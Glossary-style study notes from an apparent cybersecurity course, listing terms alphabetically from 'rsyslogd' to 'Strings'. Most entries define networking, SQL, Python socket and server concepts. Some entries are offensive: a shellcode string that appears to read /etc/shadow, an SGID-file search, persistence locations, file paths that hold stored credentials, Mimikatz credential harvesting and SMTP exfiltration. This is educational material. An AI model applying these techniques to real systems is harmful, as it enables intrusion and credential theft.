| rsyslogd -f /etc/rsyslogd.conf -N1 | validate the config file. | | 1 | | 361 |
| Run | Run the program inside gdb. | | 2 | | 345 |
| RUN/Runonce | Common registry location where malicious code traditionally runs. | | 3 | | 308 |
| Runlevels - Linux | A runlevel specifies which mode the operating system is running under. Typically, the runlevels are: 0 (shutdown) 1 (single-user mode kind of like safe mode. | | 3 | | 305 |
| Runlevels - Start-up: Linux | On Linux there are several methods to start software at boot. Malware can use these to start at boot just like any other software. The first thing to understand is Runlevels. A runlevel specifies which mode the operating system is running under. | | 3 | | 305 |
| Runtime Server (CodeMeter)  C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeter.exe | This is an unquoted service path, and it could be a target for privilege escalation. CodeMeter | |  | |  |
| rysnc -e | Running rysnc as root, it executes the file | | 3 | | 267 |
| **S** |  | |  | |  |
| s' in listing permissions | Executable has changed to an 's'. It's still executable, but it means that it is executable as SUID | | 3 | | 300 |
| SaaS - Software as a Service | You get the software. You do not have to deal with: the server, OS, updates, and application. Less customization options. More expensive. | | 1 | | 89 |
| SAM & SYSTEM keys | Can be used together to obtain NTLM password hashes & cracked to gain cleartext passwords. | | 3 | | 123 |
| San | Storage area network. | | 2 | | 362 |
| sc stop | sc stop "Vulnerable Service" | | 3 | | 332 |
| scanf() in c | scanf("%s", &data); - '%s' = string and a pointer to the memory address where the data will be stored. | | 2 | | 174 |
| Script tags  (JavaScript) | The <script> tag embeds a client-side script (JavaScript). The <script> element either contains scripting statements or it points to an external script file through the src attribute. Common uses for JavaScript are image manipulation, form validation, and dynamic content changes. | | 1 | | 239 |
| search with site: and filetype: | One of the most important tools in reconnaissance is google. | | 3 | | 63 |
| Secure Configurations for Network Devices such as Firewalls, Routers and Switches | Establish, implement, and actively manage the security configuration of network infrastructure devices to prevent attackers from exploiting vulnerable services and settings. | | 3 | | 46 |
| Security by Obscurity | Using a weird name and hoping no one will find a file you are trying to hide. | | 3 | | 85 |
| Segmentation fault C | Program crashes | | 3 | | 234 |
| Self | The first parameter of every method we define inside our class: within a class, every method needs to understand the entire class it's part of. Any time you need to reference something inside the class but outside the method, you'll need self. | | 2 | | 101 |
| SEM (Security Event Management) | Concerned with live-action processing. These tools provide real-time analysis of all the SIM data with the added benefit of sending alerts about any security anomalies. displays such as charts and pictorial representation of the data to see what is happening. | | 1 | | 362 |
| Separate errors and good results | 2>/dev/null --> Redirects errors to null so we don't have to read them. | | 1 | |  |
| Server | A computer which runs software that provides services. Have specialized hardware requirements to perform a specific function. Have one or more specialized CPUs. | | 1 | | 321 |
| Server Challenges | Will the servers be air-gapped (not connected to untrusted networks such as the internet). The physical security of the servers (making sure people can't simply walk up and power down the system or take a hard drive). Who do we trust to build the hardware components that go in the server (would they be tampered with before they get delivered or could components be swapped out while the server is in transit)? | | 1 | | 326 |
| Server Connections | Servers that require internet connections need to have a very carefully laid out network infrastructure. Servers would require a seriously powerful router to process all the connections. Servers need to run the servers. | | 1 | | 327 |
| Server distributions  Linux | Don’t come with a GUI and everything must be done used the terminal. | | 1 | | 116 |
| Server Hardware | 4 or more CPU each with multiple cores. | | 1 | | 322 |
| Server side |  | | 1 | | 333 |
| Server Software | Create the necessary file structures based on whatever service you are running. Software on the server can be called a service (server) and one computer may be running several different services. | | 1 | | 324 |
| Server Types | Web server DNS server DHCP server Log Server Game server Print server Proxy server Streaming server. Web, dns, dhcp, log, game, print, proxy, streamlining. | | 1 | | 325 |
| Service detection | To detect what service is running on the ports. | | 3 | | 89 |
| Service files | /etc/systemd/system/\*.service or /lib/systemd/system/\*.service | | 3 | | 146 |
| Services | Services can be configured to start at boot - clean up after yourself to avoid leaving the client vulnerable. | | 3 | | 149 |
| Services - Start-up: Windows | We've already seen how to use services to elevate privileges in the Privilege Escalation 2 module. This is also a form of persistence since services can be configured to start at boot. | | 3 | | 309 |
| Session Guessing | Where an attacker guesses a Session Token and logs into a site under your information | | 3 | | 162 |
| Session Guessing  Mitigation | To use truly random session tokens that expire . Also use a central session store (in database) | | 3 | | 163 |
| Session Guessing - Identification and Exploitation | If the session token generation scheme on a web application is vulnerable to session guessing, then there is a way of guessing existing valid session tokens. If an attacker can guess the values of those session tokens, by changing his session token in the browser, he can impersonate other users. | | 3 | | 162 |
| Session Hijacking | The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token. Because http communication uses many different TCP connections, the web server needs a method to recognize every user’s connection. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width, and it could be used in different ways, like in the URL, in the header of the http requisition as a cookie, in other parts of the header of the http request, or yet in the body of the http requisition. The Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server. The session token could be compromised in different ways; the most common are: Predictable session token; Session Sniffing; Client-side attacks (XSS, malicious JavaScript Codes, Trojans, etc); Man-in the-middle attack Man-in-the-browser attack. | |  | |  |
| Session Management  Session Guessing Mitigation | If you have to implement a session management yourself, make sure you do use a truly random token generation scheme. | | 3 | | 163 |
| Session Token | A session token is a unique value that identifies a logged in user. Expires at the end of the session | | 3 | | 162 |
| Session Token enumeration | Write a program that loops to send session token as part of a GET request | | 3 | | 163 |
| Set-Alias  PowerShell | Set-Alias -Name <alias\_name> -Value <cmdlet\_to\_run> | | 2 | | 329 |
| SGID files | Files with the SGID permission set using: <**find / -perm -2000 -user root -type f -print 2>/dev/null>** | | 3 | | 264 |
| SHA-256 | SHA-256 uses 256-bits compared to 128 used for MD5. This increases the different letter/number combinations that can be generated. | | 3 | | 105 |
| SHA1 | Successor of MD5 but is also considered broken. | | 3 | | 22 |
| SHA2 | A good hashing encryption algorithm | | 3 | | 22 |
| SHA2 | A good hashing encryption algorithm | | 3 | | 22 |
| SHA256 | 256 bits has algorithm. | | 3 | | 105 |
| SHA3 | A good hashing encryption algorithm | | 3 | | 22 |
| SHA512 | A good hashing encryption algorithm | | 3 | | 22 |
| Shadow copies  NTF (New technology file system) | Backup files. | | 1 | | 84 |
| Shell | The shell is responsible for displaying the prompt, interpreting the commands you type, running programs and displaying the output to you. Most common is Bourne Again Shell (bash). Path for bash is /bin/bash | | 1 | | 124 |
| Shellcode  Buffer overflow | CPU can interpret it as instruction. Hexadecimal into a code known as shellcode. It's just assembly code, but instead of the labels we use the pure hexadecimal values.  Ex:xc0\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe1\x50\x51\x53\x89\xe1\xb0\x0b\xcd\x80  Only a computer can understand this. | | 3 | | 196 |
| Shortcuts | * Shortcuts can be triggered by a number of conditions like a keypress and trigger actions. * On Windows, can be hijacked to run code when a user is interacting with the system. * Desktop shortcuts can be assigned a hotkey, and runs the program when the hotkey is pressed. | | 3 | | 310 |
| Shutdown | shutdown /r /t 0 - tells computer to restart | | 3 | | 333 |
| SIEM (log servers)  Security Information and Event Management | * Does both store log data & live action processing. * will help organizations react to breaches, but also understand what happened and investigate retrospectively. | | 1 | | 363 |
| SIFT  (Forensic Focus) | * Better memory utilization * Auto-DFIR package update * Expanded Filesystem Support * Customizations Latest forensic tools and techniques * VM Appliance ready to tackle forensics Cross compatibility between Linux and Windows Option to install stand-alone system via SIFT-CLI installer | | 3 | | 54 |
| SIM  Security Information Management | SIMs are tools or platforms used to collect and store all the security data that is logged within an organization. Basically, all the information from any software and how it's being used, including changes to the operating system. | | 1 | | 362 |
| Single Responsibility Principle | A good rule of thumb for functions is they should only do 1 thing. | | 2 | | 83 |
| site: | Search in a specific site - site:bbc.co.uk hacker | | 1 | | 220 |
| sizeof() | Will print the size of a variable based on its type, not the size of bits of data stored within it. | | 2 | |  |
| Slack Space | See also cluster. if a user saves a file of 30 kb in a system with a cluster size of 32kb there will be 2kb of slack space. The wasted space in a cluster. | | 1 | | 82 |
| Slingshot  (Forensics -SANS Product) | Distribution packaged by the SANS institute for its student and features a rich array of security and testing tools. It provides a consistent experience, Extensive use of virtual environments (e.g., pyenv, rbenv) to prevent version conflicts, Repeatable and testable build process using Vagrant and Ansible | | 3 | | 53 |
| SMIME | Encrypted mime. | | 1 | | 380 |
| SMTP  Simple Mail Transfer Protocol | It is the protocol you use if you want to send an email and not to retrieve it, used when transferring e-mail between e-mail servers. When the SMTP server processes the email address of the recipient, and If the two-email address are on the same domain, then no routing between servers is needed. port 25, does not handle authentication, 3 commands (MAIL, RCPT, DATA). | | 1 | | 370 |
| SMTP - Exfiltration | SMTP is a good method of exfiltration since most workplaces use emails to communicate for things such as sending registration emails, so SMTP traffic is not unusual at all on the network. You can usually find credentials for using the company SMTP server on any workstation by looking in RAM with the Mimikatz. If the mail server supports STARTTLS then the email will be encrypted in transit. Personal email accounts that use STARTTLS cannot be accessed by Network Admins. The use of SMTP is a method of exfiltration that is actually surprisingly difficult to detect. | | 3 | | 336 |
| SMTP Protocol  MAIL | Establishes the return path (return address), bounce address (where to send an error message if the mail delivery fails), and sender, amongst other things. | | 1 | | 281 |
| SMTP Protocol  DATA | Signifies the start of the message text. The DATA section of an email consists of an email header and body. The email header contains metadata about the email, and the email body is the contents of the email itself. | | 1 | | 281 |
| SMTP Protocol  RCTP | It stablishes the address of the recipient and can be used multiple times to stablish more recipients. | | 1 | | 281 |
| SMTP Response Codes | An SMTP response code is made up of 3 digits:   * The first digit tells you what class of status it is. * The second digit will explain a bit more about what kind of problem is encountered. * The third digit is then the specific detail about what the code is. | | 1 | | 377 |
| SMTP Response Header | Response headers are a form of HTTP header that do not carry information about the content but rather the status of the request you have sent. They come from the web server themselves. The client sends an HTTP request, and the web server replies with an HTTP response. | | 1 | | 377 |
| SMTP, IMAP, POP3. exchange MAPi and HTTP | Messaging API. | | 1 | | 370 |
| SMTP: RAM | Credentials - look in the RAM with Mimikatz | | 3 | | 336 |
| SMTP: STARTTLS | Email will be encrypted in transit. | | 3 | | 336 |
| Sniffing | Packets visible to your computer. | | 3 | | 136 |
| Social Engineer Toolkit | Available in Kali & consists of many tools to engage in social engineering (pen testing) | | 3 | | 286 |
| Social Engineering | Where you trick someone into doing something for you that goes against company policy | | 3 | | 235 |
| SOCK\_DGRAM | UDP | | 2 | | 115 |
| SOCK\_STREAM | TCP | | 2 | | 115 |
| Socket  Computer hardware | Is the name of the CPU a processor has. | | 1 | | 23 |
| socket CONNECTION code | client\_socket.connect(('127.0.0.1', 1337)) shows IP address and Port | | 2 | | 115 |
| socket RECEIVE message | received = client\_socket.recv(1024) | | 2 | | 116 |
| socket SEND message | client\_socket.send(b"Do you want to play a game?\n") | | 2 | | 115 |
| socket.accept() | accepts a connection from the client | | 2 | | 115 |
| socket.AF\_INET (python) | socket is going to use IPV4 | | 2 | | 115 |
| socket.bind | server will bind to the ip and port of the receiving connection | | 2 | | 115 |
| socket.close() | close the socket | | 2 | | 116 |
| socket.connect | IP,port as a tuple | | 2 | | 115 |
| socket.recv(1024) | receive max size 1024 at once | | 2 | | 116 |
| socket.recvfrom | for udp | | 2 | | 120 |
| socket.send | send message b'<string>' to send byte stream | | 2 | | 116 |
| socket.sendto() | used in udp to send data and ip and port tuple | | 2 | | 119 |
| socket.SOCK\_STREAM (python) | tells socket to use the TCP protocol | | 2 | | 115 |
| Sockets | A socket allows us to make and receive network connections, which is a very useful thing for cyber security practitioners to be able to do. | | 2 | | 115 |
| Sockets in Python | TCP/UDP | | 2 | | 115 |
| SOF-ELK | This "big data analytics" platform is optimized towards security operations and forensic investigator roles. | | 1 | | 364 |
| software interrupt (OS'S) | Generated by software and acts as an interface between the kernel and the program | | 1 | | 100 |
| Solid State Drives | Contain no moving parts and more reliable and faster. More expensive. include firmware and services to enable their fast operation. To remove data, you need to destroy. | | 1 | | 29 |
| Sound - Exfiltration | Malware will spread to computers connected to the internet and then infect USB drives when they are connected into the air-gapped system. Then the malware will want to send data to the infected system that is connected to the internet. Since there is no connection between systems, the malware uses sound, at frequencies that humans cannot hear, to transmit data from the air-gapped system to the system that is connected to the internet. From there, the data can be transmitted over the internet. | | 3 | | 341 |
| Spam Filters | * Examine the IP reputation data or the sender information. * Look at headers for suspect fields or odd values that don't look like real clients. * Share data between many users to find attacks that have been reported. * Scan the contents of e-mails to find common hooks or attacks. * Examine attachments, links, and other parts of the e-mail to see if it identifies a suspicious next step. | | 1 | | 374 |
| Spam Messages (email servers) | * Sent from BotNets which are effectively massive networks of computers that have been hacked. * encoded or use unusual characters or symbols to avoid matches. * Manipulating the headers to look like a specific sender. | | 1 | | 375 |
| Spam Stopping (email servers) | Use authentication mechanisms (such as SPF, DKIM and DMARC) on the headers | | 1 | | 376 |
| Spear phishing. | A phishing attack but you have a specific target in mind for the attack | | 3 | | 249 |
| Special Purpose Registers | Cannot be used freely by programs. The best example of a special purpose register is EIP (Again on an Intel 32-bit x86 processor). EIP, also known as the ‘instruction pointer' holds the memory address of the next instruction the CPU is going to execute. | | 2 | | 336 |
| Speed (ram) | DDR3-2133 RAM is DDR3 RAM with a maximum speed of 2133 MHz | | 1 | | 27 |
| SPF  (Sender Policy Framework) | Plaintext record of what servers are allowed to send email purporting to be from that domain. They are just DNS Text Records. ANYONE ON THE SAME SERVER CAN IMPERSONATE YOU. SEE ALSO SPOOFING. Hosting an in-house mail server is required to take advantage of spoofing protection provided by SPF. | | 1 | | 286 |
| Splunk | Splunk is a software mainly used for searching, monitoring, and examining machine-generate big data through a web-style interface. | | 1 | | 364 |
| Spoofing | SPF relies on a list of IP addresses that are allowed to act as mail servers within a domain. if a large provider is being used than anyone using that mail server can spoof who the sender of an email is. SMTP is not required for this to work. Or Forging - Anyone with access to an SMTP server is capable of sending an email with any FROM address. Even though there is authentication on all modern SMTP servers, that only controls whether you are allowed to send emails through that SMTP server. Once you are allowed access, you can set any FROM address you like. Helped solve this problem with SPF and DKIM. | | 1 | | 285 |
| Spoofing Email | Manipulating headers to make it seem like it came from authoritative servers . Email clients use SPF,DKIM.DMARC to detect it. | | 1 | | 375 |
| SQL | Is the most commonly used language for adding, accessing, and managing content in a database, and its popularity can be attributed to reliability, speed of processing, and flexibility. Free and open source. | | 1 | | 346 |
| Sql – Injection | A SQL injection attack is found when a SQL query is built up using user input. | | 3 | | 157 |
| Sql – Injection (Identifying) | You can identify a SQL injection flaw by simply putting in a single quote or double quote into the entry field. | | 3 | | 158 |
| Sql – Injection (mitigation) | To mitigate SQL injection is not to use an insecure method of passing queries to the database. Prepared statements can help mitigate it. | | 3 | | 158 |
| Sql – injection attack | A type of injection attack wherein the attacker exploits the web application to send unauthorized commands to a backend database server | | 3 | | 157 |
| Sql – Injection Blind | This is where there is a SQL injection flaw, but the place where the flaw exists doesn't print the result of the query. It seems like there is no way to extract data out of the database, but there actually is. | | 3 | | 157 |
| Sql – Injection Prepared Statements | Prepared statements help prevents SQL Injection Attacks - query language is kept separate from user supplied data, | | 3 | | 158 |
| Sql Arithmetic Operators | add +, subtract -, multiply \*, divide: / modulus % | | 2 | | 231 |
| Sql As | Alias by column: SELECT field AS aliasname FROM tablename; alias by tables: SELECT orders.orderId, customers.firstName, > SELECT order Id, c.firstName, | | 2 | | 208 |
| Sql Blob | char(s), blob, tinyblob, mediumblob, longblob, enum | | 2 | | 249 |
| Sql Client | The MySQL client can be told to connect to remote systems with -h. | | 1 | | 347 |
| Sql Commands | SELECT, ORDER BY, WHERE, DISTINCT, ALIAS | | 2 | | 196 |
| Sql Comparison operators | less than <, greater than >, equals to: = less than or equal to: <=, greater than or equal to: >=, not equal: < > | | 2 | | 230 |
| Sql Constrains | Defines the rules for that field in the table.  Primary key constraint: must always be unique.  Foreign key constraint: will prevent these links from being broken.  Ex: you couldn't add a row into the orders table with a customerId that doesn't exist in the customer’s table. | | 2 | | 251 |
| Sql Correlated Query | A query that doesn’t work on its own because this subquery references to a part of the parent query. | | 2 | | 237 |
| Sql Datatypes | SQL is a structured database, so each field has a static type. The types are very similar to types in programming. Ex: integers int(x) can be signed/unsigned, # of digits to display, tinyint(x), smallint(x), mediumint(x), bigint(x) | | 2 | | 249 |
| Sql Datatypes Dates | For dates you can use the date datatype: A date is in international format of YYYY-mm-dd for example 2021-04-20. There are other variations such as: datetime timestamp time year. | | 2 | | 250 |
| Sql Datatypes Floats | For floats you have the float(x, y) datatype: a float is a floating-point number (a number with a decimal point in it). The x in brackets is the number of digits to display and the y in brackets is the number of decimals allowed. The maximum number of decimals allowed for a float datatype is 24 decimal places. There are a few other variations on a float: double(x, y) decimal(x, y) | | 2 | | 249 |
| Sql Datatypes Integers | For integers you have the int(x) datatype: an integer that can be signed or unsigned. For a signed integer the allowed range is from -2147483648 to 2147483647. If the integer is unsigned the range is from 0 to 4294967295. You can specify the number of digits to display up to 11.There are several variations on the int datatype including: tinyint(x) smallint(x) mediumint(x) bigint(x). These are all similar to the int datatype except they have a different allowed range for the numbers held in the fields. | | 2 | | 249 |
| Sql Datatypes Strings | Here we use the varchar(s) datatype. A varchar(s) is a variable length string with s being the length which must be between 1 and 255. There are also variations of this: char(s) blob tinyblob mediumblob longblob enum | | 2 | | 250 |
| Sql Dates | YYYY-mm-dd | | 2 | | 250 |
| Sql Deleting a Table | To delete a table, we can use: DROP TABLE tablename; | | 2 | | 256 |
| Sql Deleting data | **DROP TABLE tablename;** must also disassociate FOREIGN KEY if you delete data from a table | | 2 | | 256 |
| Sql DISTINT | Returns rows of data without duplicates in them **SELECT DISTINCT country FROM customers;** | | 2 | | 205 |
| Sql Enum | Varchar. Stores strings. | | 2 | | 250 |
| Sql Exists | the subquery is evaluated for every record returned from the parent query | | 2 | | 235 |
| Sql Floats | float(x,y) x=# of digits to display, y=# of decimals allowed - maximum 24 decimal places | | 2 | | 249 |
| Sql FROM | The FROM command identifies which table to retrieve the data from. | | 2 | | 198 |
| Sql FULL JOIN | The FULL JOIN is not supported by MySQL or MariaDB, however we can emulate it with the help of a UNION. A FULL JOIN returns results from both tables. | | 2 | | 240 |
| Sql History | To remove the history file located at ~/.mysql\_history this file helpfully logs what you have typed in to the MySql CLI | | 1 | | 347 |
| Sql In | Where..IN - subquery | | 2 | | 233 |
| Sql Inner Join | It requires the condition to be true for both tables to be joined is mentioned in the INNER JOIN clause. | | 2 | | 219 |
| Sql Insert into | Insert into a tablename (fields,comma,separated) VALUES (),() | | 2 | | 253 |
| Sql Inserting Data | content\_copy Copy The syntax here is very simple compared to creating the tables. First, we specify the table to insert the data into, then we list the names of the fields to insert the data into. Finally, we specify the values to enter into those fields in the same order we listed the field names. | | 2 | | 253 |
| Sql Install Command | sudo apt-get install MySql -s | | 1 | | 346 |
| Sql Int | Up to 11 digits | | 2 | | 249 |
| Sql Joins | JOINS results from two or more tables. | | 2 | | 212 |
| Sql LEFT JOIN | A LEFT JOIN returns all the results from the first table and matching results from the second table. The first table in a LEFT JOIN will always have all of its records returned in the query no matter what the condition of the join is. The second table only has records returned if the condition matches the join. | | 2 | | 222 |
| Sql Left Joins | all results from left table and matching results from the right | | 2 | | 222 |
| Sql Lite | SQLite is a lightweight DBMS that stores data in a single file. It is often used in embedded systems where a small database is required but where processing power is limited. | | 2 | | 189 |
| Sql Longblob | Type of data - varchar | | 2 | | 250 |
| Sql Mediumblob | Datatype | | 2 | | 250 |
| Sql ON | Condition for the join. | | 2 | | 217 |
| Sql Operators | Arithmetic operators are operators such as: add: + subtract: - multiply: \* divide: / modulus: % Comparison operators are operators such as: less than: < greater than: > equals to: = less than or equals to: <= greater than or equals to: >= not equal to <> Logical operators are operators such as: ALL, AND, ANY, BETWEEN, EXISTS, UNION, IN, LIKE, NOT, OR, SOME | | 2 | | 231 |
| Sql ORDER BY | SELECT fields FROM tablename ORDER BY fried DESC | | 2 | | 200 |
| Sql PHPAdmin | Run sql commands, search database, export tables, administer multiple servers | | 1 | | 346 |
| Sql PHPMyAdmin | Graphical frontend to manage MySQL | | 1 | | 345 |
| Sql Primary key | Value in a row that is unique to that row | | 2 | | 190 |
| Sql QUERY table | SELECT \* FROM orders WHERE currency = "$"; | | 2 | | 202 |
| Sql Relational Databases | Data is stored in tables which can hold fixed types of data of a fixed maximum size. Can be linked together or related to each other - in the form of primary and foreign keys. Each table must have a PRIMARY KEY (value in a row that in unique to that row). Data is stored in tables which can hold fixed types of data of a fixed maximum size. | | 2 | | 190 |
| Sql RIGHT JOIN | Matching results from the left table and all results from the right table. | | 2 | | 226 |
| sql SAMEORIGIN | This option will allow the page to be loaded in an iframe, but only if the page that is loading it is on the same domain. | | 3 | | 168 |
| Sql Scripting Table Creation | Combine data into a single script to automate the creation and insertion of the tables. | | 2 | | 254 |
| Sql SELECT | SELECT statement is used to retrieve data from one or more tables in a DB | | 2 | | 197 |
| Sql Select ALL | If we wanted to extract all the data from a table without having to specify the fields, we could use the wildcard operator. In SQL the wildcard operator is the asterisk (\*). | | 2 | | 199 |
| Sql Server Setup Considerations | 1. Validate the IP connectivity rules.  2. Remember to run the mysql\_secure\_installation. This will step you through removing the test database, anonymous accounts and enforcing credentials on the root user.  3. Validate that MySQL is running with an appropriately privileged and restricted user.  4. removing the MySql history file. Typically located at ~/.mysql\_history this file helpfully logs what you have typed in to the MySql cli.  5. Ask yourself if you need remote logins at all? Is your database running with a local web application that can connect over 127.0.0.1? Do you need it bound to 0.0.0.0 and accessible more broadly?  6. Conduct MySQL verb restrictions. Limit the use of SHOW DATABASES.  7. Update  8. Check Linux file permissions Make sure that the MySQL data directory (typically /usr/local/MySql/data) is accessible for the MySql user but no other users on the system.  9. Consider use of a managed SQL platform that does a lot of this for you.  10. Make sure you have adequately sized your system to the requirements, and configured monitoring so you know if disk space is getting low! | |  | |  |
| Sql Setting Up A Database | The first step is to connect to the DBMS and create the database itself. Each field must have a specified datatype. SQL is a structured database, so each field has a static type. | | 2 | | 247 |
| Sql smallint(x) | Datatype | | 2 | | 249 |
| Sql Statement Structure | If you forget the semi-colon, then the statement will not be executed because SQL will assume there is more to come. The semi-colon is the character that indicates the statement has ended. Commands are capitalized. Commands are not case sensitive - names of column and tables are case sensitive. We can see also that where a command accepts multiple parameters when they are separated by a comma. A space after the comma is not strictly necessary but is recommended for readability. | | 2 | | 196 |
| sql Structured Query Language | Structured Query Language, manages relational databases | | 2 | | 188 |
| Sql Subquery | You can use subqueries as a query within a query. When you execute a query that contains a subquery, the subquery is evaluated first and then the result of that query is used in the enclosing query. | | 2 | | 232 |
| Sql Subquery | Subquery within a query is executed first and result is used in the enclosing query | | 2 | | 231 |
| Sql UNION | The UNION operator allows you to combine the results of two select statements into one. Operators UNION, IN, LIKE and SOME are examples of Logical operators. | | 2 | | 239 |
| Sql Verb restrictions | If an attacker has less information, it is harder for them to exploit. | | 1 | | 346 |
| Sql WHERE | The WHERE clause helps us to filter records to only the ones that match a certain condition. Here is the syntax for using the WHERE clause: SELECT fields FROM tablename WHERE condition; The `WHERE` clause helps us to filter records to only the ones that match a certain condition, i.e. The defined value within a database column. | | 2 | | 203 |
| SSD | SSDs have a feature called 'wear levelling', which may move around data on the drives. | | 3 | | 124 |
| SSH (Linux arch) | SSH stands for Secure Shell; it's a way of letting people log into a Linux computer over the internet. The command to log in to SSH is: $ ssh username@ipaddress SSH can be configured to use a keyfile instead of a password (or both). | | 1 | | 214 |
| SSH in Kali | Kali starts with the SSH server disabled by default. You can enable the SSH service using service ssh start | | 3 | | 58 |
| SSH Keyfile (Linux arch) | A keyfile is just a text file that contains an encryption key, which ssh servers sometimes use to log you in. **$ ssh -i /path/to/keyfile username@ipaddress** | | 1 | | 215 |
| SSL certificate ( The websites) | It is a way to check the symmetric or asymmetric encryption. | | 3 | | 21 |
| SSL interception (exfiltration) | SSL interception is a feature that requires each client to be configured to trust a custom SSL certificate. | | 3 | | 335 |
| Stack | Stack is a very structured and orderly section of memory - you need to know how much data to reserve on the stack when you write the program. When you launch a program, the instructions for that function are loaded onto the stack, and then each function is assigned an area of memory called a 'stack frame'. The stack frame contains the local variables that are used by the function. Stack frames are unique to individual functions. the return pointer is found at the bottom of a stack frame from when a function is called. | | 2 | | 339 |
| Stack (examining) | using pwndbg> x/100x $esp lists the next 100 lines in the $esp memory register | | 3 | | 243 |
| Stack and Heap -C | Data on the stack must be a fixed length known at compile time. Data on the heap can be allocated dynamically while the program is running using the malloc() function, Stack and Heap -C | | 2 | | 179 |
| Stack Frame | Each function has its own stack frame so variables cannot be accesses outside the function | | 3 | | 339 |
| Stack Protector / Stack Canary (Mitigate Buffer Overflow) | The stack canary is a value that sits before the return pointer in the stack. When the program's execution hits the return instruction, before the return pointer is loaded into EIP, the value of the stack canary is checked. If it has been overwritten, then the program terminates, because the CPU then knows that something dodgy was going on, since the value of the stack canary which shouldn't have changed has changed. named for their analogy to a canary in a coal mine. | | 3 | | 202 |
| Stages of an Attack | 1. R**econnaissance:** At this stage, the attacker picks the target and then proceeds to find out as much information about the target as possible.  2. I**nitial** Exploitations - At this stage, the attacker's goal is to gain a foothold on the network somehow. Looking at exposed network services, the attacker will attempt to exploit any known vulnerabilities.  3. **Establish** Persistence and Escalate Privileges - At this stage, the attacker will want to maintain their access to the system and elevate their privilege level if necessary. This means either dropping a backdoor onto the system or finding some credentials that provide legitimate access to the system.  4. **Move Laterally** - At this stage, the attacker will try to spread from their initial foothold through to the rest of the network to achieve their goal - the attacker must spread through the network to reach key systems.  5. **Exfiltration** At this stage, the attacker will be trying to exfiltrate whatever data they were seeking. This is also a good opportunity for the blue team to Detect the attacker. By the end of this stage, you're done for. The attacker has won. | | 3 | | 48 |
| Standard User Account | New accounts created are made "standard" by default | | 2 | | 283 |
| Star topology | Easy to maintain, any computer or cable in the network could fail, and the others would not be affected | | 1 | | 248 |
| Start menu | Lists all applications, searchable | | 1 | | 120 |
| Start-Process  (PowerShell Command) | Start-Process -FilePath "notepad" Used to start a new process | | 2 | | 328 |
| Start-up Folder  Windows | The simplest way of getting malware to launch on startup is to put it in a user's startup items folder. On Windows 8 and 10, that folder can be found here: **C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup** The downside to this method is that the malware will be run without administrative permissions, and it is one of the most obvious artefacts to look for. | | 3 | | 307 |
| Start-up items | Basic mechanism for persistence is having malware execute on start-up. This malware can then either listen on a port directly or wait for certain conditions to be met before opening a port or initiating a connection out to an attacker. Linux - Runlevels, systemd. Windows - Start-up Folder, Registry, Services, Installed Components | | 3 | | 305 |
| STARTTLS | Encrypting email in transit | | 1 | | 280 |
| Startup items - processes | # systemctl to see a list of startup processes | | 3 | | 306 |
| Startup items - service files | Location: /lib/systemd/system/\*.service or /etc/systemd/system/\*.service | | 3 | | 306 |
| Startup items - symlinks | App shortcuts in Linux | | 3 | | 306 |
| Startup items - systemd | Default method to for running software at boot | | 3 | | 306 |
| Startup items -runlevels | A runlevel specifies which mode the operating system is running under. | | 3 | | 305 |
| stdio.h in C | Standard input output | | 2 | | 155 |
| stdout redirection | 1> results.txt | | 1 | | 198 |
| Steganalysis | Steganalysis is the term used to represent the simplest method of detecting modified files. Stemware is also a term being used currently to represent the hiding of cyber-attacks, making detection an inadequate defense. | | 3 | | 99 |
| Steganography | Steganography is the practice of concealing data within other data. It originates from the Greek word steganos, meaning covered' or 'concealed', and graphein, \*\*meaning 'writing'. More modern usage of steganography includes concealing messages within the lowest bits of images, concealing data within encrypted or random data and, in its simplest of forms, embedding hidden messages in image files. | | 3 | | 99 |
| Steganography audio | LSB - uses least significant bit to embed text into images and audio | | 3 | | 100 |
| Steganography Tools commands | LSB, Echo Hiding, Crypture, Binwalk, Steghide, rSteg OpenStego | | 3 | | 100 |
| Steghide | Let’s you hide your secret file inside an image or audio file. Command line software | | 3 | | 100 |
| Steghide commands | info, --info, ef, --embedfile, cf --coverfile, st --stegofile, xf --extractfile | | 3 | | 100 |
| Stegware | Hiding of cyber-attacks making detection inadequate defense | | 3 | | 99 |
| Stepping over function calls | Stepping over function calls prevents those instructions in the called function from executing. The code is still executed, you just don't have to go through its instruction by instruction. | | 2 | | 348 |
| Sticky bit set | other + t (sticky) The last special permission has been dubbed the "sticky bit." This permission does not affect individual files. However, at the directory level, it restricts file deletion. Only the owner (and root) of a file can remove the file within that directory. A common example of this is the /tmp directory: | |  | |  |
| Stop-Process  (PowerShell command) | Used to end a process. Stop-Process -ID <> | | 2 | | 327 |
| Storage | Storage is a component that provides data storage. Typically, this is a hard drive or SSD (solid state drive). | | 1 | | 28 |
| storage – capacity | the largest amount of data that can be stored on the drive itself | | 1 | | 28 |
| storage – size | 3.5 inch in desktops, 2.5 inch in laptops | | 1 | | 28 |
| Storage – types of | component that provides data storage. | | 1 | | 28 |
| Storage Area Network (SAN) | Block Storage | | 2 | | 363 |
| Stored Credentials - Escalate | In some situations, you may find passwords lying around on the file system. This s usually when the system has been built in an unattended environment Ex: **C:\unattend.xml C:\Windows\System32\ C:\Windows\System32\sysprep\ C:\sysprep.inf C:\sysprep\sysprep.xml C:\Windows\Panther\ C:\Windows\Panther\Unattend**\.  A web server for a site that uses a database is likely to have the database password in plaintext somewhere. That is necessary for the web application to log into the database. | | 3 | | 283 |
| Stored XSS | Where the XSS attack is stored in the database. | | 3 | | 156 |
| Storing Objects (PowerShell) | Use methods & properties from the object through the variable $child\_items.Name | | 2 | | 331 |
| strcmp | strcmp is a C library function for comparing two strings, useful for validating passwords. | | 2 | | 355 |
| String | 994840aff71b18ebb0817e0e6f786c data values that are made up of sequences of characters | | 2 | | 225 |
| Strings  Linux | Will interpret everything as a string and print it if the string is longer than a certain number of characters. That doesn't mean it was originally intended to be a string. The 'strings' command is used for pulling text sequences out of binary files. You can also pipe it with grep to find information faster: strings strings-compiled | grep r3a11y | | 1 | | 183 |
| Strings  Python | char variable[]="<string>" to initialize and assign a string | | 2 | | 157 |
